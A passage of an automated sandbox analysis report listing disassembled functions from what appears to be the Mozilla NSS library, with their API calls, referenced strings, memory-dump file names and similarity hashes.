Instruction Fuzzy Hash: BB617DB5E0011A9BDB10CF55DD80ABBB7B9EF94358F244129EC28B7700E735A916CAB1

Function 6CE68E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE68E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE68E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE68EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF918D0,?), ref: 6CE68F03
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE68F19
PL_FreeArenaPool.NSS3(?), ref: 6CE68F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE68F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE68F65
PL_FinishArenaPool.NSS3(?), ref: 6CE68FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE68FFE
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE69012
PL_FreeArenaPool.NSS3(?), ref: 6CE69024
PL_FinishArenaPool.NSS3(?), ref: 6CE6902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE6903E

Strings

security, xrefs: 6CE68EE7

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 3c8d945a85b961d1cc4ed8e0d4d869c410482b8be7c1fcd90dad381c545cd7d7
Instruction ID: 2e1d9eb6dda6f7da213f04cdf01f1e9f965c40d800e0f73b32d3331c0c083b4d
Opcode Fuzzy Hash: 3c8d945a85b961d1cc4ed8e0d4d869c410482b8be7c1fcd90dad381c545cd7d7
Instruction Fuzzy Hash: E0516B71658300ABE7209A5A9C41FAB73F8AB8774CF24082EF45597F40D732D909C763

Function 6CE94E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE94E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE94EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE94EC7

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE94EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE94F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE94F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE94F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE94F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE94F68

Strings

hObject = 0x%x, xrefs: 6CE94EF5, 6CE94F05
pTemplate = 0x%p, xrefs: 6CE94F4A
(CK_INVALID_HANDLE), xrefs: 6CE94EC0, 6CE94F13
C_GetAttributeValue, xrefs: 6CE94E7E
ulCount = %d, xrefs: 6CE94F63
hSession = 0x%x, xrefs: 6CE94EA2, 6CE94EB2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 617dda01a48a48861e05ccd40c3444c614c5d1c31c21fd634898cc19e5129431
Instruction ID: 343a27072713c4a33aa4868a2411fff787e2b26b7d85d338e6c67433fa3c0ba0
Opcode Fuzzy Hash: 617dda01a48a48861e05ccd40c3444c614c5d1c31c21fd634898cc19e5129431
Instruction Fuzzy Hash: 4E41F371B12104ABDB40DF54EC49F9B37B5EF4230DF55442AE8096BB11DB329E48CBA1

Function 6CE94CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE94CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE94D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE94D37

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE94D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE94D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE94D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE94DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE94DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE94E20

Strings

C_GetObjectSize, xrefs: 6CE94CEE
hObject = 0x%x, xrefs: 6CE94D65, 6CE94D75
(CK_INVALID_HANDLE), xrefs: 6CE94D30, 6CE94D83
*pulSize = 0x%x, xrefs: 6CE94E1B
hSession = 0x%x, xrefs: 6CE94D12, 6CE94D22
pulSize = 0x%p, xrefs: 6CE94DB7

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 914bc773f0097d82966a38880825b64db8b7d748d34b0c908dd7cd04c9a1c6ef
Instruction ID: e377e85ee310344036ecbbcebbef4c7621f3c36d091f1beaceac96919d8a0840
Opcode Fuzzy Hash: 914bc773f0097d82966a38880825b64db8b7d748d34b0c908dd7cd04c9a1c6ef
Instruction Fuzzy Hash: E941E575B11104AFDB509F10DD88F6B37B5EB4230DF55446AE818ABB21DB329E4CCBA2

Function 6CE97C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE97CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE97CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE97CF3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE97D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE97D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE97D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE97D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE97D77

Strings

(CK_INVALID_HANDLE), xrefs: 6CE97CEC
pSignature = 0x%p, xrefs: 6CE97D59
ulDataLen = %d, xrefs: 6CE97D40
C_Verify, xrefs: 6CE97CB1
pData = 0x%p, xrefs: 6CE97D25
hSession = 0x%x, xrefs: 6CE97CCE, 6CE97CDE
ulSignatureLen = %d, xrefs: 6CE97D72

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: f7e2b089e0a1dba65d001dc969a8054bd3df0b0434dedb43fb69e2d66665a7d7
Instruction ID: dc56f6fcca3ec90385c40064ad319246ebcaf877e876bb0adc3bd342818a9296
Opcode Fuzzy Hash: f7e2b089e0a1dba65d001dc969a8054bd3df0b0434dedb43fb69e2d66665a7d7
Instruction Fuzzy Hash: 2131C071B11144AFDB509B54DD48FAB3BB1EB4231CF5A4429E808A7721DB329A4DCBA1

Function 6CE92F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE92F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE92F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE92F63

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE92F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE92F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE92FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE92FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE92FE7

Strings

ulNewLen = %d, xrefs: 6CE92FE2
pNewPin = 0x%p, xrefs: 6CE92FC9
ulOldLen = %d, xrefs: 6CE92FB0
(CK_INVALID_HANDLE), xrefs: 6CE92F5C
C_SetPIN, xrefs: 6CE92F21
pOldPin = 0x%p, xrefs: 6CE92F95
hSession = 0x%x, xrefs: 6CE92F3E, 6CE92F4E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: bb1c7181d2267e0ccf49544f1924a0f5aca91729b254386360300f0edcd14c9a
Instruction ID: 6506a5e4e5a24c37b3396132ca37504482791ca0a4248573b17990ec14b222f3
Opcode Fuzzy Hash: bb1c7181d2267e0ccf49544f1924a0f5aca91729b254386360300f0edcd14c9a
Instruction Fuzzy Hash: 4331E071B01144ABDF909B54DC4DF8B3BB1EF4631DF194029F809A7B11DB328A48CBA1

Function 6CE9A9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CE9A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE9A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE9AA03

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE9AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE9AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE9AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CE9AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CE9AA87

Strings

pAssociatedData = 0x%p, xrefs: 6CE9AA69
ulParameterLen = 0x%p, xrefs: 6CE9AA50
pParameter = 0x%p, xrefs: 6CE9AA35
(CK_INVALID_HANDLE), xrefs: 6CE9A9FC
C_DecryptMessageBegin, xrefs: 6CE9A9C1
hSession = 0x%x, xrefs: 6CE9A9DE, 6CE9A9EE
ulAssociatedDataLen = 0x%p, xrefs: 6CE9AA82

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: ff2858fe9167586efc87ed340c37620f7d4023715e68a2fb512d31f3b921ef7d
Instruction ID: ed742e067bd7c859a1d607e688894bf93f00e224da0f6c2159bf3c07231e3093
Opcode Fuzzy Hash: ff2858fe9167586efc87ed340c37620f7d4023715e68a2fb512d31f3b921ef7d
Instruction Fuzzy Hash: CF31E071F41140AFDB50DB54ED48B9B7BB1EF4231CF5A4429E808A7B11DB729A48CBA2

Function 6CF2CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF2CC7B), ref: 6CF2CD7A

Part of subcall function 6CF2CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE9C1A8,?), ref: 6CF2CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF2CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF2CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF2CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF2CD8E

Part of subcall function 6CE505C0: PR_EnterMonitor.NSS3 ref: 6CE505D1
Part of subcall function 6CE505C0: PR_ExitMonitor.NSS3 ref: 6CE505EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF2CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF2CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF2CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF2CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF2CE48

Strings

ws2_32.dll, xrefs: 6CF2CD75
wship6.dll, xrefs: 6CF2CDE3
getaddrinfo, xrefs: 6CF2CD88, 6CF2CDF9
freeaddrinfo, xrefs: 6CF2CD9F, 6CF2CE10
getnameinfo, xrefs: 6CF2CDB2, 6CF2CE23

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 32632e9d33341857d57fed7533dd64ded958f6c1719529987badf996cf6af5f3
Instruction ID: be8c85096fdb42abaabd0279e8892c5cdfd4baa26ad01567f4165d56f38b7b6f
Opcode Fuzzy Hash: 32632e9d33341857d57fed7533dd64ded958f6c1719529987badf996cf6af5f3
Instruction Fuzzy Hash: 9911D6B6F1251152FF5166F52C01BAB38785F0214CFA84939E815D2F40FB27CA2986E2

Function 6CF71C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF713BC,?,?,?,6CF71193), ref: 6CF71C6B
PR_NewLock.NSS3(?,6CF71193), ref: 6CF71C7E

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PR_NewCondVar.NSS3(00000000,?,6CF71193), ref: 6CF71C91

Part of subcall function 6CE4BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE521BC), ref: 6CE4BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF71193), ref: 6CF71CA7

Part of subcall function 6CE4BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE4BBEB
Part of subcall function 6CE4BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE4BBFB
Part of subcall function 6CE4BB80: GetLastError.KERNEL32 ref: 6CE4BC03
Part of subcall function 6CE4BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE4BC19
Part of subcall function 6CE4BB80: free.MOZGLUE(00000000), ref: 6CE4BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF71193), ref: 6CF71CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF71193), ref: 6CF71CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF71193), ref: 6CF71CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF71193), ref: 6CF71D1A

Part of subcall function 6CF29BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE51A48), ref: 6CF29BB3
Part of subcall function 6CF29BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE51A48), ref: 6CF29BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF71193), ref: 6CF71D3D

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF71193), ref: 6CF71D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF71193), ref: 6CF71D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF71193), ref: 6CF71D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF71193), ref: 6CF71D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF71193), ref: 6CF71D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF71193), ref: 6CF71D93
PR_DestroyLock.NSS3(00000000,?,?,6CF71193), ref: 6CF71D9F
free.MOZGLUE(00000000,?,6CF71193), ref: 6CF71DA8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 67929c19657e4183c15f16a9e0fd24707769562783e8d0a1f452dcd93c396e50
Instruction ID: bf0cd00b482474284c9823840a95b8d4caef4c0894ff5cf5d894eae19fa7defe
Opcode Fuzzy Hash: 67929c19657e4183c15f16a9e0fd24707769562783e8d0a1f452dcd93c396e50
Instruction Fuzzy Hash: 733185F1E007015BEB209F75AD51B5776F8AF05648F148539E84A87B41FB31E518CBA2

Function 6CED0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CED0C81

Part of subcall function 6CEBBE30: SECOID_FindOID_Util.NSS3(6CE7311B,00000000,?,6CE7311B,?), ref: 6CEBBE44

Part of subcall function 6CEA8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEA95DC,00000000,00000000,00000000,?,6CEA95DC,00000000,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CEA8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED0CC4

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CED0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CED0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CED0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CED0D7D
free.MOZGLUE(00000000), ref: 6CED0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED0DC1
free.MOZGLUE(00000000), ref: 6CED0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CED0E0F

Part of subcall function 6CEA95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CEA95E0
Part of subcall function 6CEA95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE87F4A,00000000,?,00000000,00000000), ref: 6CEA95F5
Part of subcall function 6CEA95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEA9609
Part of subcall function 6CEA95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA961D
Part of subcall function 6CEA95C0: PK11_GetInternalSlot.NSS3 ref: 6CEA970B
Part of subcall function 6CEA95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEA9756
Part of subcall function 6CEA95C0: PK11_GetIVLength.NSS3(?), ref: 6CEA9767
Part of subcall function 6CEA95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEA977E
Part of subcall function 6CEA95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA978E

Strings

*,l, xrefs: 6CED0C69, 6CED0DE0, 6CED0C80, 6CED0C8B, 6CED0CAF
-$l, xrefs: 6CED0C64
*,l, xrefs: 6CED0DCC

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: e2aa6e23bf6c81ef40c0d6b3f39ca2125bd2aa962b39c92fb4be6948b031fbcc
Instruction ID: 16d3da26a9cf5445f9240cb245b96d6c12f44b26aad19ddf5cba81df953b6cdc
Opcode Fuzzy Hash: e2aa6e23bf6c81ef40c0d6b3f39ca2125bd2aa962b39c92fb4be6948b031fbcc
Instruction Fuzzy Hash: 7E41F2B5E00205AFEB009F64DC81BAF7674EF4530CF250029E9196B742E735BA15CBE2

Function 6CEC5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEC5EC0,00000000,?,?), ref: 6CEC5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEC5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEC5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEC5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEC5EC0,00000000,?,?), ref: 6CEC5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEC5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEC5D80

Strings

extern:, xrefs: 6CEC5CEA, 6CEC5D4B
dbm:, xrefs: 6CEC5D03, 6CEC5D60
sql:, xrefs: 6CEC5CD1, 6CEC5D36
multiaccess:, xrefs: 6CEC5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CEC5D1A

Memory Dump Source

